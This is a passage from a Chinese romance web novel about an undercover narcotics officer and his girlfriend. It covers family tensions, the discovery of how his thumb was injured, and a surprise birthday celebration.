沈宗野也拗不过方昭意,正想起身去给方昭意剥一个猕猴桃,方昭意叫住了他。 “宝贝,那些年你走后,妈妈一直后悔送你离开,我当时应该把你留下。” 沈宗野微怔,回头一笑:“不用后悔啊,我回来后我爸对我挺好的,工作也不忙了,对我还挺负责。” 方昭意静静地望着沈宗野。 沈宗野察觉后面那句话有些歧义,他要解释,方昭意说:“儿子,妈妈应该欠你一声对不起吧。” 沈宗野怔住:“是梁然和你说什么了吗?” 方昭意失笑。她的儿子还真是个警察,短短一句话就能这么敏锐。 “然然很关心你,有她在你身边我就放心了,妈妈希望你能和她好好走下去。” 方昭意郑重地说:“你还是来帮我吧,不要再干你爸爸的工作了。干这份工作有多危险?你现在没的是一根手指,万一以后呢?我真的不敢想象。你奶奶已经七十了,受不得刺激,然然也是一个非常优秀的女生,如果你错过她对你们两个人来说都不是好事……” “妈。”沈宗野沉默许久,“缉毒对我来说已经不是一份工作,是我下意识的行为和习惯了,我已经习惯一睁眼就去想毒贩、想案子,爸爸没有做完的事情我也想继续帮他完成,他是死在毒贩手里的,我恨毒贩。” 也许最开始的念头只是单纯的恨,只是为了让沈知培的警号重启,让沈知培干一票大的、拿一个一等功的心愿实现。但做了这三年的缉毒工作,沈宗野在无数个案子里看到最阴暗的一面,也看到平凡的普通的家庭支离破碎,他实在放不下已经拿起来的缉毒工作。 方昭意说:“你为然然想过吗?你拿什么给她以后?我现在不想指责你,你是我儿子,我生了你养了你,难道我希望眼睁睁看你去跳火坑,去那么危险的地方?你能回报我什么?” 沈宗野望着方昭意眼里的难过,黯然地移开视线。 他的确回报不了方昭意什么,他尽可能做到独立,不去拖累方昭意,但还是无法让他的妈妈满意。 方昭意说完这句话也马上后悔了。她脾气很大,甚至因为心理疾病以前总是对沈宗野撒气,她忘了沈宗野那时候才只有六岁而已。梁然说她20岁在国外都会想家,都会彷徨。六岁的沈宗野又怎么能做到那么好,照顾她一个生病的成年人? 孩子是她和沈知培自己要生的,做妈妈的如果要把“你能回报我什么”挂在嘴边,那这段母子关系就多了讨债的意思。 方昭意语气放软:“我又对你发脾气了,妈妈真的不想对你发脾气,抱歉宝贝。” “我没事,我知道你是担心我,你说的话都是口是心非。”沈宗野笑。 方昭意也浮起笑,可还是心疼儿子:“希望你能想清楚,别走我和你爸爸的老路。这次回来我还是很开心的。你有了女朋友,也即将多了一个妹妹或者弟弟,我看你也替我高兴,妈妈真的比什么都开心。” 沈宗野笑了起来,他的确很希望方昭意再有一个孩子,不管是对她现在和黎叔的夫妻感情,还是对方昭意自己都是一桩好事。 沈宗野说:“要是生了个妹妹,可别对她撒火,现在开始学习温柔好脾气还来得及。” “臭小子你欠揍是吧,然然知不知道你这么皮?” 母子俩微妙的不快都不欢而散。 …… 第二天,沈宗野接上了梁然,梁然和他一起将方昭意送到机场。 今天周日,梁然不用上班,沈宗野白天倒没什么事,晚上才去局里。 梁然挽着沈宗野的手臂走出航站楼,她脖子上戴着的项链是方昭意昨天送给她的一条澳白。 沈宗野说:“让你破费了。” 他指的是昨天梁然见方昭意时送给方昭意的一条紫罗兰翡翠项链,梁然出手很大方,她送客户礼物时都没送这么昂贵。 梁然笑:“那是我赚了,你妈妈还送了我一只包。” 沈宗野扬起唇,很少见到梁然语气轻松地开玩笑。 梁然虽然不上班,但要去见一个客户,开车去了客户西郊的别墅。 沈宗野陪在梁然身边,在梁然和客户沟通时,他在花园外的椅子上坐着等她,一边在新打入的贩毒群里套线上交易的线索。 梁然和客户谈完后来到沈宗野身边:“走吧,我结束了。”跟预想中差不多顺利,这会儿才刚刚正午。 沈宗野起身替梁然拎包,梁然的托特包总是很沉,里面装着电脑和文件。 客户在门口对她招手告别,让佣人送他们离开。 坐上车后,梁然说:“客户姐姐说我好福气,男朋友一看就是靠谱的青年,会给我幸福的那种。” 沈宗野弯起薄唇,骨节分明的手指打着方向盘:“那你幸福吗?” “幸福啊,现在我蛮幸福的。”又在周末轻松接下一个项目,梁然心情很愉快,嗓音也有些慵懒和依赖,“沈宗野,我想吃牛排了。” 梁然并没有察觉到她声音里这股撒娇的嗔,惬意地靠在椅背上。 车窗外绿树成荫,阳光斑驳地洒落。 沈宗野心脏像窗外轻盈的风,他紧紧扣住梁然的手指:“我带你去吃,我停下选家餐厅。” “我想在家里吃,我们去超市吧?”梁然笑,“我还没有跟你逛过超市呢。” …… 从西郊别墅区开进城区,沈宗野在附近一家大型超市停下。 梁然很少来超市,她工作忙到根本没有能逛超市的时间,想吃什么不是在线上直接选购回家,就是在楼下几家商店里买。 逛超市对梁然来说是件比较温馨的事,印象里是爸爸妈妈带着她和梁悦来逛,梁悦坐在购物车里,她就推着她的购物车无差别拿下喜欢的零食。 而这些温馨的记忆距离如今已经有十二三年了。 周末的超市人很多,梁然有好久没有逛过人这么多的地方。 沈宗野推着购物车,随时留意着她。 梁然看到榴莲和新鲜的荔枝,惊讶了一下:“跟小区楼下的价格比好便宜啊,那我平时亏大了。” 梁然住的楼盘价格昂贵,楼下的商店哪家不打着天然有机标售高价,沈宗野笑了起来,他笑是因为觉得如今的梁然好像忽然多了从前没有的鲜活感。 梁然去选购了榴莲和荔枝,沈宗野去排队称重。 穿行在嘈杂的人声里,梁然今天的心情真的很愉快,她也不知道为什么,大概是因为阳光明媚还谈成了生意,沈宗野还陪她一起。周围人多,她挽着沈宗野的手臂排在队伍后面。 沈宗野垂眼看她,薄唇边的笑有些恣意。 “你笑什么?” “忽然觉得我绑架了一个仙女来跟我逛超市。” 梁然好笑地看着沈宗野。 水果打完了价,他们又去牛排区挑选。 梁然在选进口包装的冷冻品,沈宗野在看现制的鲜牛排。梁然看的价格比沈宗野看的贵了很多,搁平时梁然会一股脑拿标着“进口,原切”字样的东西,觉得一切贵的都经过了筛选,但她看了眼沈宗野专注挑选的侧脸,还是放下了手上的牛排。 沈宗野说:“你想吃可以拿两份试试。” “你选就好。” 沈宗野解释:“这个没有添加剂,肉会新鲜一点,都试试吧。” 梁然笑着点头,不知道为什么,沈宗野做这些事情都会让她很信任。 余光里忽然凑近一道人影,一个男人的笑声也响在他们身边。 “小沈,还真是你!” 第105章 第105章“你的手指是怎么伤的…… 梁然侧过身,一个高大英勇的男人笑着来到沈宗野身边,也打量起她。 “这就是弟妹?真跟传闻里一样漂亮,行啊你小子,这趟不算白受伤!” 沈宗野脸色微变,浮起笑,对梁然说:“我同事,何哥。” 梁然便也喊了一声“何哥”。 男人叫何谨峰,28岁,是沈宗野他们组的老前辈,说是前辈,但工作上还没年轻人勇猛,王有为常训何谨峰是狡猾的兔子,看起来乖得不行,遇到危险最会溜。可沈宗野他们不这么觉得,怕危险的人谁干得了缉毒。 何谨峰对梁然笑:“你们也在这边逛超市?”他身后有个年轻女人拿着称好的虾过来,何谨峰对梁然介绍,“这是我老婆,陈慧。” 沈宗野喊了一声嫂子,梁然也跟着打招呼。 陈慧清瘦秀气,见到梁然有些意外的惊喜,笑着说:“我听我家老何说小沈的女朋友是个大美女,没想到你比我以为的还好看。” 梁然笑:“谢谢,嫂子也很好看。” 何谨峰看着沈宗野手上的购物车:“你们这是打算回去做饭?” “嗯,难得白天有时间。” 何谨峰:“那去我家吃吧,正好今天你嫂子过生日!只有我们两个人,我也没叫别人。” 沈宗野询问梁然的意见,他还没有开口,只是将眼神看向梁然。梁然见他和何谨峰之间很熟悉,就说:“会不会太打扰你和嫂子了?” 陈慧笑说:“不打扰,你们不嫌弃我家老何的手艺就好。” 梁然答应了。 何谨峰和陈慧问梁然喜欢吃什么,他们再去买点菜。 沈宗野和梁然就没再拿多的牛排,去水果区再买些水果拎去。 沈宗野说:“你会不会不方便?你不想去我可以拒绝。” “今天也没事。”梁然问,“既然是过生日,我给嫂子买份礼物吧?” “谢谢你,然然。”沈宗野说,“你挑礼物吧,我付钱。” 他们去楼上的商场挑起礼物,梁然往金店里走,沈宗野牵住了她的手。 “要送首饰吗?” “不可以吗?” “倒不是首饰不可以,何哥他们比较节省,又注重礼尚往来,我们送得太贵重我怕他有压力。” 梁然点点头:“那口红或者香水吧?” “这个可以。” 梁然于是挑了一款香水打包好。 …… 何谨峰和陈慧居住的小区就在这附近,两室一厅的房子不大,但干净明亮,很有家的温馨。 陈慧收到梁然的礼物很开心,和她聊起天。 何谨峰洗了水果招待梁然和沈宗野,就去厨房负责做饭了。 陈慧在招待梁然吃水果,她性格比较内向,平时跟不熟的人说不了几句,但看起来很喜欢梁然,愿意主动和梁然聊起天。 梁然也不是那种爱聊天的人,但觉得陈慧言谈比较真诚,两人慢慢也能聊进一些话题。 沈宗野坐在梁然身边,见梁然没有觉得拘束,才说:“我去厨房帮忙,你有事叫我。” 梁然点头。 陈慧一笑:“看你们感情这么好真替你们高兴。” 梁然抿起笑。 陈慧看了眼厨房那头沈宗野的背影,低声说:“小沈的左手还方便吧?” “对他来说应该没有太大的影响。”梁然回。 “那就好,局里也给他办过残疾人证,算是一种安慰了,但话说回来,能健健全全的谁想要那点安慰,你才是小沈最大的安慰。” 梁然虽然意外陈慧会和她聊得这么深,但看对方不像是八卦也没有恶意,她轻轻笑了笑。 陈慧继续聊起:“我听老何说起你们的事真的对你好佩服,你怎么能这么勇敢啊,当时不害怕吗?” 事情已经过去,梁然其实不想再去回忆以前,她和沈宗野的现在过得很愉快。只是陈慧问起,梁然还是认真回答:“都是缘分吧,现在我也不敢再那么莽撞。” 陈慧微微一笑:“是的,以后只会平平安安越来越好,虽然和你才是第一次见面,但我感觉你和小沈都不像是那种用这件事绑架对方的人,这样才是一段健康正常的感情。” 梁然有些听不明白:“嫂子,我不是很懂你说的。” “那应该是我平时说话少,在这边没有朋友,语言能力都倒退了。”陈慧有些不好意思,又慢慢解释了一遍,“我是说你和小沈都没有因为他手指的事觉得欠着对方,这样挺好的。我最不喜欢的就是网上那些觉得因为救了对方而受伤了,就要对方回报,这种还算得了真感情吗……” 梁然因为陈慧这句话怔住,什么叫做“因为救了对方而受伤”,沈宗野的手指是因为她? 梁然看着陈慧:“嫂子,你能再说得明白点吗?” 陈慧怔住。 梁然眼神紧落在陈慧身上,让陈慧当即明白了梁然还不知道这件事。 陈慧连忙假装找手机,非常尴尬地笑:“不好意思啊,我回几个消息。” 为了缓解这份尴尬,陈慧还扬声喊何谨峰,岔开了话题。 梁然安静坐在沙发上,陈慧见她并没有再追问,才笑笑说:“都是最近新闻看多了,我先回个消息,我在家里做手工卖,网店上有人下单,我先回复一下别人,你吃点水果。” 陈慧尴尬地用手机打字,然后走进厨房和何谨峰耳语了几句。 梁然认真看着他们的背影,窗外一股秋风掠起,灌进客厅的风都掺着冷。 梁然很想直接去问沈宗野他的手指跟她到底有没有关系,但沈宗野在切菜,他微垂眼皮,骨节分明的手指握着一个西红柿,那根残疾的拇指没有影响他做这些的抓握。但她见过他和老万搏斗,当时他还是会因为拇指的影响被老万刺伤。 沈宗野说他的手指是向邬道伤的,他以前回答时那么自然。 陈慧和何谨峰耳语后就走进了一间房间,何谨峰如常地做着菜,好像并没有任何异常,只是叫住沈宗野不知道说了句什么,沈宗野背影微顿,回过头极自然地看了梁然一眼。 梁然一直望着他,沈宗野神色如常,朝她自然一笑。 今天是陈慧这个女主人的生日,梁然不想现在去弄清楚情况,她也冷静地微笑。 陈慧从房间里拿出礼物要送给梁然,一支仿点翠簪子很是精致,一个软陶娃娃可爱逼真。陈慧说这些都是她手工制作的,她不爱社交,喜欢做东西,在家上班倒也能养活自己。 梁然很喜欢这个礼物,对陈慧的手艺很欣赏。 晚饭上沈宗野将梁然想吃的牛排摆放到她桌前,他们在这里吃了一顿愉快的晚饭。 离开何谨峰与陈慧的家时才五点,沈宗野七点要回局里值班。 他们慢慢悠悠走出小区,梁然在等沈宗野交代。 但沈宗野只是正常地聊着今天的晚饭:“晚饭的牛排是你想吃的那种吗?” “嗯。” “谢谢你今天给我面子,我以为你不爱和不熟的人打交道。” “平时是不喜欢,但你同事看起来人不错,陈慧人也很好,她手工做得真好,送我的娃娃我很喜欢。” 沈宗野一笑。 夕阳余晖铺满一路,他们穿过这片光影。 沈宗野说:“我一直都挺羡慕何哥,聪明、敢闯,运气也好,每次还都能平安回来,25岁相亲一次成功,26岁结婚,现在他们在备孕要孩子。队里很多人都羡慕何哥,干我们这一行能像他这么幸福又幸运的人不多。” 梁然说:“你也很幸运,你也会平安。” “那我收下你的祝福。”沈宗野勾起薄唇。 梁然在这片夕阳余晖里停下,金色的光落在她眼底。 “沈宗野,你的手指是怎么伤的?” “以前跟你说过……” “我不要再听你骗我一遍,我要听真话。”梁然打断。 沈宗野一笑:“我说的是事实,是向邬道伤的。” 梁然双眼冷了下来,她很少这样动怒,以前的几回可以说是生气,但这会儿她是在动怒。她气场实在太过冷漠,明明眼底映着夕阳浪漫的霞光,但这些光在她眼底都只变作明亮的冷。 沈宗野敛下笑,他的视线有些回避。 梁然冷笑:“刚刚在他们家里我不问你,你别以为我没看出来你刚刚回头是在观察我,是在假装淡定。如果你不说,我现在就要生气。” “我们的关系就到这里。” 沈宗野微眯眼眸,紧望着梁然,他喉头几次滑动,终于才说:“这不算跟你有关系。我的手指是因为你的那个视频让我进了传讯室,在警方面前露过脸,向邬道当时杀鸡儆猴,才拿我开刀。是那些毒贩做的,我从来都不觉得跟你有关。” 梁然怔了这片夕阳的光影里。 梁然不知道真相是这样。 因为她的视频,沈宗野才进了警局,惹怒向邬道那群人。 她的心忽然从这片明媚霞光沉入了谷底,她看着沈宗野那根残疾的拇指,因为没有指甲,沈宗野又常有意训练这根手指,大拇指断面处结满了丑陋的疤和硬茧。 眼眶一热,有眼泪淌了下来,滚落脸颊时她才发现。 “梁然。”沈宗野将梁然拽到胸膛里,“真的跟你没关系,是因为案子。” 梁然紧紧埋在沈宗野的胸膛,眼泪仍在滚落。 心脏的抽。搐好像在说它难过,她明明从前很少会因为难过流泪,她一直都觉得她不配哭。 梁然闭上眼,放肆地让眼泪落下。 “然然,你别哭啊,我卧底期间身份不明,你做的没有问题,我是一个警察,遇到你爸爸的事我会出手,就算是小谢、何哥、老孙在也都会出手,跟你是谁没有任何关系。” 梁然说:“可如果没有我去送那个视频,他们动的人也不会是你。” 她圈紧了沈宗野的腰:“对不起,沈宗野。” 勒在她后背的手臂收紧,沈宗野嗓音滚烫:“我不要你的对不起。” 第106章 第106章“我终于赶上你的第一…… 开车回去的途中,一路红灯,沈宗野不得不停下等信号灯。 梁然从前将缺失半截拇指的沈宗野当做一个正常人,可如今几次去关注他握方向盘会不会难受,伤口还会不会疼。 她的视线停留在他手指上,沈宗野失笑地拉过梁然手指亲了亲。 “看来今天不该来吃这顿饭。”沈宗野在调侃。 “沈宗野,下次发生了事不要再瞒着我。” “我记住了。”沈宗野望住梁然,“那你可不可以答应我,对我敞开心扉?” 他的眼神太过郑重。 梁然说:“难道我们不是吗。” 沈宗野怔怔地望着她。 初秋的夜晚空气凉爽,这股秋日的风带来降温寒潮,月底时,气温骤冷,小区外的梧桐叶飘落在这场秋风中。 梁然忽然想起了宁城那些飘落的银杏叶,金黄的颜色,和沈宗野当时冷恣的笑一样盛大。 九月底的最后一天是梁然的生日。 但沈宗野已经因为一个保密案子又去卧底了,他已经消失了有八天。 梁然的手机铃声调到了最大,每天都会下意识留意沈宗野的电话,除了谢天明会给她来电话,她这几天再也没有等到过沈宗野的消息。 上午开完了会回到办公室,乔思嘉在问梁然今天生日打算怎么过,问她想去哪里,乔思嘉可以叫上江凛给她过生日。 梁然说:“随便吃个饭就行,下班了我请你。” 助理菲菲忽然敲门来说:“梁总,登峰科技的孟特助来拜访您。” 陈沥周的助理孟曦坐在接待室。 梁然走进接待室,孟曦起身笑:“梁总,我是按陈总的交代来给您送生日礼物,祝您生日快乐。” 梁然有些意外和警惕,表情如常地问:“陈总出国进修回来了?” “倒没有,是陈总走之前就交代过,他很早就拍过一幅作品,希望在您生日这天给您当生日礼物。” 原来是这样。 梁然有些失望,她其实从来没有怀疑过陈沥周是坏人,她希望陈沥周跟那些案子没有任何关系。 作为朋友,陈沥周之前那么帮过她,他在梁然心里已经不是一个普通的朋友了。 梁然说:“代我谢谢他,你坐吧。陈总还是没有消息吗?” 孟曦也有些黯然:“不知道为什么最近都没有陈总的消息,公司这边何总倒是个很好的合作人。”孟曦说何詹没有因为陈沥周失联而做出什么逾越的行为,公司经营依旧分着陈沥周的股份。 梁然开口:“陈总的奶奶你知道多少?陈总不在,也许可以尝试请他奶奶联络陈总。” 孟曦抬起眼:“陈总的家人我也不清楚呢。” 陈沥周送的是一幅当代画家的油画,梁然以前和他聊起过这幅作品,那已经是三月的时候他们在电话里谈起过,时间已经过去这么久。 梁然让助理收好画,回到办公室重新忙碌起工作。 下午半天过得很快,梁然几次都拿起手机,置顶的沈宗野还是没有消息发来。 梁然打电话询问起谢天明,谢天明说沈宗野还没消息。 这趟案子是沈宗野和何谨峰在办,他也没听到什么信儿,但看王局的脸色,沈宗野应该很顺利。 挂了电话,梁然看着窗外即将黯淡的天色,对过生日好像没有多开心。 “走啊,我选好了地方。”乔思嘉出现在办公室门口。 “说好了我请你和江凛。”起身走出公司,梁然藏起了这股失意,她也是忽然才想起来她并没有告诉过沈宗野她是今天生日。 乔思嘉说她选在了江边一家露营餐厅帮梁然庆生,那里虽然有些偏远,但风景好,就当是去散散心了。 到了地方,一望无际的草地还是青绿色,一直绵延到远处江岸。 一家露营餐厅在即将降临的暮色下亮起明亮的灯光,几座帐篷垂下星星灯串,长桌上已经摆满酒水和气球、鲜花,远处江水平静。江凛和谢天明,还有陈慧都在那里了,见到她们回头笑着招手。 梁然笑起来:“你把小谢也叫来了。” “嗯啦,今天不得让你开心啊。” 陈慧能来是因为她白天询问过梁然今天能不能来陪她过生日,何谨峰也不在家,她一个人很无聊。梁然就让陈慧等她下班了和她一起过来,没想到乔思嘉提前把人安排到了这里。 梁然和乔思嘉走过去,陈慧笑着对梁然说起生日快乐,谢天明也握着话筒唱起煽情的粤语歌。 梁然这才有些开心地笑了起来。 旁边的帐篷比他们这边要更热闹,来了一支乐队在调试乐器,声音有些吵闹。 江凛解释位置没办法挪动,旁边今天好像也是在过生日,只能先将就一下。 梁然说没关系。 菜很快上齐了,烧烤架的肉串滋滋冒着肉香。 乔思嘉让梁然先许愿吹蜡烛,旁边的乐队也正在调试生日快乐的音乐,唱起了生日歌。 江凛朝谢天明打了个响指,谢天明悄悄点燃了江岸的烟花。 灿烂的烟花升空绽放,点亮整片暗夜,让梁然很惊喜,她没想到乔思嘉还帮她准备了烟花。 “闭上眼睛许愿吧,我的然然大宝贝!”乔思嘉哈哈笑。 梁然望着满空的烟花,睫毛轻颤,闭上眼睛许下生日愿望。 希望沈茹和梁幸均在那个世界很幸福。 希望梁悦平安健康地长大。 希望沈宗野平安地回来,每一次,都能来回来。 她的心愿是不是有些多?梁然忍不住笑了起来。 旁边乐队仍在唱这首生日歌。 烟花欢愉的爆破声还响在天空。 梁然睁开眼。 沈宗野站在这片烟花下,薄唇灿烂扬着笑。 梁然怔住,晚风吹着她颤动的睫毛。 她重新闭上眼,再睁开,沈宗野还是站在她面前。 他穿着黑色的衬衫,修长英隽,薄唇笑意浓烈,在这片盛大的烟花下注视她。 梁然张了张唇,一声猛烈又激动的“沈宗野”脱口而出,她扑进沈宗野怀里,紧紧搂住他脖子。 沈宗野将她抱了起来,在篝火和烟花中转了好几圈。 他嗓音低哑:“然然,我很想你。生日快乐,我终于赶上你的第一个生日。” 四周一片欢笑声,乔思嘉笑得最嗨,梁然也是这才听到旁边乐队那首生日歌早就换成了一首深情的英文歌。原来一切都是布置好的,估计就她自己不知道。 “你什么时候回来的?” 梁然紧紧抱着沈宗野,不想松开,他才走了第八天,她就已经这么想他,每晚都会担心他会不会有危险,他的手指还会不会疼。眼眶有些湿润,梁然紧紧埋在沈宗野脖颈中,她也是在这时才听到葡萄“喵喵”地在他们脚边叫,他竟然把葡萄也带来了。她本来也是想下班了去带葡萄,但又怕乔思嘉他们等她太久。 沈宗野嗓音低醇:“一个小时前刚回南城,案子办完了,很顺利。” 沈宗野埋下头,闻着梁然头发上的香。他一回来跟王有为解释完就就近找了家酒店洗澡收拾,连一身衣服都是在附近随便买的,就怕赶不上梁然的生日。 梁然紧紧抱住沈宗野。 他们的拥抱漫长到夜空的烟花一次次绽放,绚烂永不熄灭。 直到梁然被一声甜甜的“姐”拉回思绪,沈宗野也拍了拍她后背说:“悦悦来了。” 梁然愣住,梁悦不是在住校上学吗? 她回头,梁悦抱着好大一束手工折的花出现在她身后,梁悦哈哈笑着:“姐,我也来啦,是哥哥接我来的!” 沈宗野在接这个任务前就布置好了梁然今天的生日,包括提前联系了梁悦,希望梁悦也能到场。他做好了一切,但没有告诉梁然。 其实案子也没有这么顺利,全靠他炉火纯青的卧底演技,当然还有何谨峰的配合,两人演了出胆战心惊的计,缉拿时枪林弹雨,他去按领头的毒贩时险些被子弹击中,一路的惊险都被他压在平静温柔的眸底。 梁悦的出现让梁然很开心,今晚的一切都让她感到愉悦。 陈慧也见到了何谨峰,夫妻俩躲在没人的地方亲了好一会儿。 今晚的生日在这场盛大的烟花和篝火中度过,大家围着篝火跳舞唱歌,乐队也一直为他们奏完最后一首浪漫的歌。 梁悦很懂事,说明天还要上学今晚就不能陪梁然了,谢天明开车送梁悦回怀城,梁悦走之前还对沈宗野挤眉弄眼,抛了个加油的眼神。 乔思嘉想在这里露营过夜,询问梁然和陈慧的意见,梁然没有意见,陈慧也想体验下露营的感觉,三顶帐篷很快就在草地旁的露营台撑起。 葡萄跳到了旁边的秋千架上玩。 梁然和沈宗野回到帐篷里,仔细地看他:“你有受伤吗?” “没有。”沈宗野说完这句,低头亲梁然的唇。 他的薄唇凉凉的,带着强势的侵略。 梁然睫毛颤动,轻轻耸起双肩,被沈宗野修长身躯压退在柔软的充气垫上。 沈宗野吻她的唇,脸颊,又亲吻她的脖子。 皮肤烙下灼热的烫,梁然紧紧抱住他脑袋…… 沈宗野咬着她的耳廓:“你有想我吗?” “嗯。”梁然在他的亲咬下尾音发颤。 “敢在这里要么?”沈宗野微眯眼眸,嗓音充满蛊惑。 梁然桃花眼里泛起明媚的潮。 …… 今夜夜空布满浪漫的小星星。 梁然和沈宗野走出帐篷,已经凌晨一点了,草地上一片宁静,远处江水潮声极微。 沈宗野将外套披到梁然肩头,两人坐在露营椅上,看着起伏的江潮和夜空。 梁然拢着沈宗野的外套,偏头靠在他肩上。 沈宗野说:“这几天在山区交易,抬头看到月亮的时候我就在想你现在在做什么。” 梁然心脏轻盈地跳动。 “南城又起风了,沈宗野,起风的时候我也会想你,你总是会拎着一杯热乎乎的东西来看我。” 梁然忽然坐正,将沈宗野揽到肩膀上:“在外面这么辛苦,给你靠一下吧。” 她半个单薄的肩膀哪承受得了沈宗野的重量,沈宗野好笑地勾起薄唇,倒也很配地和将头靠到梁然肩膀上。 但沈宗野压根没真正靠下来,梁然都感觉不到什么重量,她说:“你没吃饭吗?用点力。” 沈宗野眼眸暗沉,眯了眯眼,他手臂穿过梁然的腰。梁然笑着躲开。 “我有生日礼物吗?” “你想要什么礼物?” “之前说过的啊,我想要阳城博物馆那副屏风那种别出心裁的礼物。” 沈宗野有些难办。 梁然好笑:“开玩笑的。” 晚风吹乱了头发,梁然捋过脸颊的一缕发,一颗钻戒突然出现在她眼前。 梁然视线凝住,是上次他们买情侣戒指时柜员推荐的那颗。 沈宗野:“你想要那样的礼物以后我补给你。这颗戒指我觉得你戴上好看,梁然,我没有什么意义,你别有压力,你就当成饰品吧。” 梁然心口盈满一种难言的情愫,似有一片浓雾弥漫的绿野,她不知道往前踏出一步是坦途还是渊。 今天是她的生日,沈宗野拼了命赶回来,她没有拒绝,将左手的无名指探了进去。 戒指套在她手上,夜空下的钻石耀眼得胜过星辰。 沈宗野握住梁然手指,像在欣赏一件艺术品。 梁然问起沈宗野这几天是怎么过来的。 沈宗野问起她每天都在做什么。 梁然忽然想起:“我的微信名字为什么是月亮?” 沈宗野说:“你在我眼里就是月亮。” 梁然弯起红唇。 “还不知道你手机密码呢。” 沈宗野微顿,拿出手机对准梁然。 “干嘛?” “添加你的面容ID。” 梁然好笑地看着镜头眨眼,录入了她的脸。 沈宗野又添加了她的指纹。 “现在你随时可以检查我的手机了。” 梁然翘起唇角:“那你怎么不问我的手机密码?” “我不需要。” “为什么?” “我信任我自己,也信任你。还有,我也想给你你觉得舒服的空间和距离。” 梁然轻轻抿起唇,很久后才说:“沈宗野,你是个很好的人。” “……” 沈宗野有些惧怕梁然的这句话。 “我才不要你的好人卡。” 梁然忍俊不禁。 “梁然,今天许了什么心愿?” “生日愿望怎么能说出来。”梁然笑,“但是我可以悄悄告诉你。” 她靠近沈宗野耳边说:“我的生日愿望里有你。” 他们忽然被身后的一声痛哼打断,江凛竟然被踢出了帐篷,在草地上滚了一圈。 江凛抬起头,正好对上梁然和沈宗野吃瓜的表情,江凛远远瞪了他们俩一眼。 梁然很无辜:“他瞪我。” “我和你闺蜜都可以收拾他。” 乔思嘉掀开帐篷朝他们走来,江凛追着乔思嘉,将她拽回了帐篷里,远远的一声“我错了”传到梁然他们这里。 梁然:“他们好像和好了。” 沈宗野:“应该是,江凛最近因为嘉嘉瘦了五斤。” “还有这种好事?”梁然说,“我看江凛瘦点更帅,还可以再瘦五斤。” 这一晚的篝火一直燃着,他们六个人坐在火边聊天。乔思嘉吐槽江凛,陈慧夸着何谨峰,何谨峰嘴角都要翘到天上去了。轮到梁然,变成沈宗野夸着梁然,梁然一向是个冷静的人,这一刻都忍不住要尴尬脸红了。 月亮悬在这片绿野上。 这是梁然成年以来过的最开心的一个生日。 …… 入秋后的南城气温变凉,梁然下班时经过顾欣的糖水铺,进去要了一杯雪梨无花果糖水。 顾欣笑:“你不用买了,你男朋友刚刚过来买了一杯。” 梁然微怔,这种感觉很奇妙,被陌生的熟人见证她的爱情经历,被沈宗野记得她的爱好,这样的生活比她从前一个人时更有温度。 回到家,葡萄“喵喵”叫着,竖着小尾巴来黏梁然。 梁然果然看到了桌上那杯雪梨水,而沈宗野披上外套正从衣帽间出来,他脚步匆忙。 “然然,抱歉,我得去处理个案子。” 梁然说:“很紧急吗?” “嗯,有个紧急任务。”沈宗野抱了抱梁然,“今天起风了,给你带了一杯热梨水,晚饭待会儿我在路上给你订份餐回来。” “不用给我订餐,我自己安排。是去卧底吗?” “不是,抓个毒贩。”沈宗野说,“别担心,明天就回来。” 梁然忽然有些舍不得沈宗野走,但她抿起唇:“保护好自己,注意安全。” 沈宗野这个案子虽然顺利,但还是因为他去晚了耽误了黄金抓捕时间,有两名同事受了伤。 王有为知道沈宗野住得近才通知他,谁知道沈宗野住在梁然这里,路上这么远。 梁然也是在一个月后才在谢天明口中听谢天明说起。 昨晚在甲方的工地上熬到半夜,加上换季大降温,梁然昨晚回家就病倒了,早上沈宗野值班回来才发现她发了烧,吃过药也没作用,当机立断将梁然送到医院。 谁知道一场小感冒会让梁然这么严重,医生建议让她吊水退烧。 梁然脑袋昏昏沉沉,没骨头地坐在椅子上,头靠在沈宗野腹部,沈宗野听完医生的话询问梁然对药物过不过敏,梁然一会儿说不过敏,一会儿说过敏,她自己都记不清了。 医生说先做个皮试。 针头推过来时,梁然很惧怕,抱着沈宗野躲在他身后。 “我不要打针,我最害怕打针了。” 沈宗野拍了拍她背,对打针的护士说:“我们能先吃药吗?” “她能抗住的话也行,但是这场流感还挺严重的,你们商量一下吧。” 沈宗野低头耐心哄着梁然:“然然,为什么害怕打针啊?” 梁然脑子里昏沉,身上也没有力气,但理智还清醒:“小时候感冒发烧打针打怕了。” 她这一刻忽然像个孩子,躲在沈宗野身后说:“可以不打针吗?” “好,那我们先吃药?如果你还难受那就只能打针了,好不好?” 沈宗野的嗓音太温柔,梁然抬头望着他这么近的眉眼,这一刻忽然很像回到了很小的时候,沈茹和梁幸均都围着她转,也是这样温柔地哄她。 她整张脸都烧得很红,终于还是委屈地妥协了:“那打针吧。” 护士把注射器推过来时,梁然脸都皱到了一起,皮试实在太疼了,她眼眶红红的,眼泪都在眼眶里打转,在沈宗野面前逞强,硬是没让眼泪掉下来。 沈宗野像夸小孩一样对她竖起大拇指:“然然好厉害。” 好在两天后梁然就好了很多,准备从医院回家。 谢天明就是在这时来探望她:“怎么住院了都不跟我说一声,我好来陪嫂子啊。”他帮忙收拾起东西,让沈宗野专心照顾梁然。 梁然好了大半,笑着说:“一场感冒而已。” 他们来到楼下,沈宗野让谢天明带梁然回车上,他去窗口退费。 谢天明服务周到,帮梁然拎东西拉车门,还有意逗梁然开心,九十度弯腰说:“最贵的女士请上车,您先坐好。” 梁然忍俊不禁:“你今天不忙?” “今天还行,倒是沈哥,这几天请假天天被训。” 梁然也有些无奈,沈宗野这两天都在陪她,耽误了工作。 “不过嫂子放心,他这是照顾你情有可原。”谢天明坐到驾驶座,说起,“嫂子,你们可以你家和沈哥家两头住嘛,沈哥前几天因为住得太远,差点没赶上抓犯人,被老王骂惨了。” 梁然也是这才知道这件事。 等她感冒彻底好了,对沈宗野说:“今天我们去你那里住吧。” 沈宗野微怔:“怎么要去我那里,你明天上班开车会很远。” “明天周六,我不上班。” 沈宗野也是才想起来他的周六要工作,梁然不用。 他们于是回了沈宗野的家,度过了周末。 时间已经十一月中旬,南城初冬的空气越发潮湿。 梁然和沈宗野打算出去吃火锅,约了谢天明一起。 聚餐结束后,梁然拿起风衣外套,沈宗野去了收银台结账。 谢天明又悄悄对梁然说:“沈哥最近又挨批评了,都是因为住得远不能随叫随到,别的倒没什么,沈哥一个人顶我们好几个人用,王叔也只是训他两句,嫂子别担心。” 和谢天明分别后,他们驱车往梁然的家行驶。 梁然说:“你明早几点上班?” “最近事情有些多,我六点半会起来。” 梁然点点头,低头看着手机。 她看了一路,沈宗野有些吃醋,在等信号灯时扣住梁然的手。 